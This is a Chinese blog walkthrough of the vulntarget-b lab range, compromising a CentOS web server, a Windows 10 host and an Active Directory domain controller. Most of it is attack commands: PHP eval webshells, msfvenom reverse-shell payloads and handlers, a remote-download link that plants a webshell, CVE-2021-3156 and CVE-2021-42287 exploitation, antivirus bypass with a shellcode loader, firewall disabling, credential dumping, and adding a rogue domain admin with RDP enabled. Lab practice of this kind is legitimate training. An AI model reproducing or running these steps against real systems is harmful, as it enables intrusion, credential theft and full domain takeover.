vulntarget-b 免杀火绒,多层域控内网靶场

2024-01-01 04:06:14

目录

靶场环境测试

1.获取外网centos7权限

1.1.信息收集

1.2.getshell

1.3.msf上线

1.4.权限提升

1.4.1.os信息收集

1.4.2.sudo提权

2.获取win10权限

2.1.信息收集

2.2.开启代理

2.3.收集可使用的nday

2.2.getshell

2.3.上线msf

2.3.1.免杀火绒

2.3.2.权限提升

3.获取域控权限

3.1.信息收集

3.2.使用CVE-2021-42287

3.3.远程登陆

3.3.1.添加用户

3.3.2.修改注册表

3.3.3.kali开启远程桌面


靶场环境:

项目地址: https://github.com/crow821/vulntarget

涉及知识点:极致cms相关漏洞、禅道cms相关漏洞、隧道代理、免杀、CVE-2021-1732 、CVE-2021-42287/CVE-2021-42278

kali攻击机 ip:192.168.127.129

centos7 ip:192.168.127.131

靶场环境测试

centos7外网网卡进行修改

cd /etc/sysconfig/network-scripts 
vi ifcfg-ens33

修改成dhcp模式即可,可以参照我下面的图片设置:

1.获取外网centos7权限

1.1.信息收集

nmap -sT -Pn 192.168.127.131

80端口没有找到可利用的东西,888显示403 forbidden,8888是宝塔的登陆面板,这里找到一个81端口,为极致cms搭建的站点。

点击登陆无反应

端口扫描是否有可利用的信息:

python dirpro.py -u http://192.168.127.131:81/ 

发现有一个admin.php的页面,访问发现是一个后台管理系统。

尝试使用弱口令进行登陆,登陆成功

账号:admin
密码:admin123

进入后台功能点很多,这里查看历史存在的nday,找到了两个,都是利用插件的方式。

1.2.getshell

在插件这儿下载一个插件试试:

查看数据包,有三个数据包值得留意:

数据包一:下载准备

数据包二:下载文件

数据包三:解压缩安装包

如上的url可控,我们可以修改url地址为攻击机服务器上的后门。这里我们可以在kali上开启一个web服务。

echo "<?php eval($_POST['nanmu']);?>" > shell.php
zip shell.zip shell
python3 -m http.server

以下修改url要进行很多步,原因是一次最多传1024个字节,我自己一直改了十几次

写入成功了,我们如何找到写入webshell的路径呢。我们查看安装说明,看到一个路径,/A/exts/

推测路径为:“http://192.168.127.131:81/A/exts/shell.php”,尝试连接,连接成功。

但是执行命令发现,无法执行命令,可能存在 disable_function,这里使用蚁剑插件可以绕过(下载插件需要科学上网)。

这时候就可以发现能够执行命令了:

这里还有另一种方式getshell(更简单):这里不过多赘述。

记某CMS漏洞getshell_苹果cmsgetshell-CSDN博客

1.3.msf上线

这里我们将权限转移到msf上,上传一个木马到centos7上即可。

这里设置的是反向连接。

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.0.0.3 lport=4444 -f elf >shell.elf

将生成的shell.elf上传至目标主机,并赋予可执行权限:

chmod +x shell.elf

kali设置监听:

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.127.129
set lport 4444
exploit

1.4.权限提升

得到一个权限较低的权限,先尝试权限提升。

进入shell会话,发现存在python环境,创建一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

1.4.1.os信息收集

先上传一个探针进行探测

项目地址:https://github.com/mzet-/linux-exploit-suggester

赋予可执行权限:

chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

可以看到存在脏牛(没有gcc,无法实现)等提权漏洞。

感兴趣的朋友可以看看我写的这篇脏牛提权教程:

Linux脏牛(CVE-2016-5195)提权保姆级教程_脏牛提权-CSDN博客

可以用CVE-2021-3156(sudo提权),还有一个CVE-2021-4034(pkexec),我们这里使用sudo提权。

1.4.2.sudo提权

bg
search CVE-2021-3156
use 0
set target 12 
set session 1 
run

提权成功,可以看到我们创建了一个名为msf的管理员用户,密码为fjidggrhylxdeva,要是没有生成交互式shell,可以ssh远程登录,然后找到刚才我们生成的shell.elf,运行即可获得管理员权限。

2.获取win10权限

2.1.信息收集

查看ip地址,发现除了192.168.127.131之外还有一个10.0.20.30

添加路由:

run autoroute -s 10.0.20.0/24
run autoroute -p 

use auxiliary/scanner/portscan/tcp
set rhosts 10.0.20.0/24
set ports 22,23,80,135,139,445,1433,3389,8080
set threads 30
run

发现10.0.20.66主机,开放了8080端口。

2.2.开启代理

开启代理(上一篇博客讲述了如何配置代理):

use auxiliary/server/socks_proxy
run
jobs

这里我们使用本机进行连接,代理端口默认为1080

访问http:10.0.20.66:8080,发现是禅道的登陆框。

2.3.收集可使用的nday

检查版本:http://10.0.20.66:8080/index.php?mode=getconfig发现是12.4.2的版本。

搜索对应的nday,发现存在getshell的漏洞,进行尝试。

首先需要登陆进后台

这里尝试使用burpsuit进行爆破,发现存在js加密。

js逆向花费时间太多,这里推荐一个工具,不需要解密js。使用方式也和burpsuit的方式一样(这里输入次数有限制,寄啦!)

GitHub - gubeihc/blasting

不过最后还是获取了账号密码:

admin Admin123

2.2.getshell

首先我们需要在centos7上开启一个临时的web服务并写下一个后门(让win10远程下载)。

bg
sessions
sessions -i 2
shell
python -c "import pty;pty.spawn('/bin/bash')"
echo "<?php @eval(\$_REQUEST['x']);?>" > 2.php

开启web服务

python -m SimpleHTTPServer 4455

之后访问:http://10.0.20.66:8080/index.php/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6NTU2Ni8xLnBocA==

路径在/data/client/1/1.php

这里我又尝试了几个免杀webshell,防止被杀....

注意设置为GBK编码,不然页面会出现乱码。

2.3.上线msf

2.3.1.免杀火绒

获取到一个较低的权限,将会话转移到msf中,在此之前,先看看有什么杀软。

tasklist

将所有信息复制,然后粘贴到: 杀软在线查询 ,该项目会自动检测目标主机存在什么杀软。

可以看到有一个火绒,寻找可以绕过火绒的方法。

这里需要下载一个加载器:

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip

生成shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=3333 -f hex -o shell.hex

将该文件以及加载器都上传到win10中。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.30
set lport 3333
run
gsl64.exe -f shell.hex -hex

2.3.2.权限提升

发现是一个较低权限,但是输入getsystem也能获得管理员权限,这里还可以使用Microsoft Windows10 本地提权漏洞(CVE-2021-1732)

休眠和关闭防火墙:

shell
chcp 65001
powercfg -h off
netsh firewall set opmode mode=disable

3.获取域控权限

3.1.信息收集

ipconfig /all

查找域控ip:

nslookup WIN-UH20PRD3EAO.vulntarget.com

域控ip为10.0.10.100

load kiwi
creds_all

hashdump

hash解密得到密码为admin#123

添加路由:

run autoroute -s 10.0.10.1/24
run autoroute -p

3.2.使用CVE-2021-42287

Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限等危害。

git clone https://github.com/WazeHell/sam-the-admin.git

下载sam脚本后需要修改一下源码:

sudo vi sam_the_admin.py

需要添加“-codec gbk”,否者会出现乱码导致命令结果无法查看。

proxychains4 python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell

可以看到我们已经控制了域控,且权限为system。

3.3.远程登陆

3.3.1.添加用户

net user nanmu1 WSAD@520 /add /domain

net group"Domain Admins" nanmu1 /add /domain

3.3.2.修改注册表

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f 
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

3.3.3.kali开启远程桌面

proxychains remmina

成功获取域控

文章来源:https://blog.csdn.net/weixin_68408599/article/details/135320397
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。